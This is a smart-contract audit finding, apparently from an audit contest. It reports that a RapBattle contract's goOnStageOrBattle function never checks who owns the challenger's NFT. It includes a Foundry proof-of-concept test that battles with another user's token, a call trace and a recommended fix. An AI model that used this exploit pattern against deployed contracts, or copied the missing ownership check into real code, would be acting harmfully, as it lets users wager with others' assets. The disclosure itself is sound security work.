Summary
A user can make a battle with someone else NFT providing to the contract another tokenID
Vulnerability Details
It is possibile for anyone to make a battle with anyone else NFT without owining it because there is no check of the ownership of the challenger
NFT by the msg.sender
running function goOnStageOrBattle
Impact
This vulnerability allows someone to participate and to earn cred
using NFTs of someone else
POC
contract MyTest is Test {
RapBattle rapBattle;
OneShot oneShot;
Streets streets;
Credibility cred;
IOneShot.RapperStats stats;
address user1;
address user2;
address user3;
uint256 start;
event balance (address, uint256);
function setUp() public {
oneShot = new OneShot();
cred = new Credibility();
streets = new Streets(address(oneShot), address(cred));
rapBattle = new RapBattle(address(oneShot), address(cred));
user1 = address(1);
user2 = address(2);
user3 = address(3);
oneShot.setStreetsContract(address(streets));
cred.setStreetsContract(address(streets));
start = block.timestamp;
}
function test_battle() public {
vm.startPrank(user1);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(user2);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.startPrank(user3);
oneShot.mintRapper();
oneShot.approve(address(streets), 2);
streets.stake(2);
vm.stopPrank();
vm.warp(start+4 days);
vm.startPrank(user1);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(user2);
streets.unstake(1);
vm.stopPrank();
vm.startPrank(user3);
streets.unstake(2);
vm.stopPrank();
uint256 balance1 = cred.balanceOf(user1);
uint256 balance2 = cred.balanceOf(user2);
vm.startPrank(user2);
cred.approve(address(rapBattle), 4);
oneShot.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1,4);
vm.stopPrank();
vm.startPrank(user3);
rapBattle.goOnStageOrBattle(0,4);
vm.stopPrank();
uint256 balance_final1 = cred.balanceOf(user1);
uint256 balance_final2 = cred.balanceOf(user2);
assert(balance1+balance2 == balance_final1+balance_final2);
}
}
├─ [28430] RapBattle::goOnStageOrBattle(0, 4)
│ ├─ [1183] OneShot::getRapperStats(1) [staticcall]
│ │ └─ ← (false, false, false, true, 0)
│ ├─ [1183] OneShot::getRapperStats(0) [staticcall]
│ │ └─ ← (false, false, false, true, 0)
│ ├─ emit Battle(challenger: 0x0000000000000000000000000000000000000003, tokenId: 0, winner: 0x0000000000000000000000000000000000000002)
Tools Used
Foundry
Recommendations
Add a check for the ownership of the challenger
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
_battle(_tokenId, _credBet);
}
}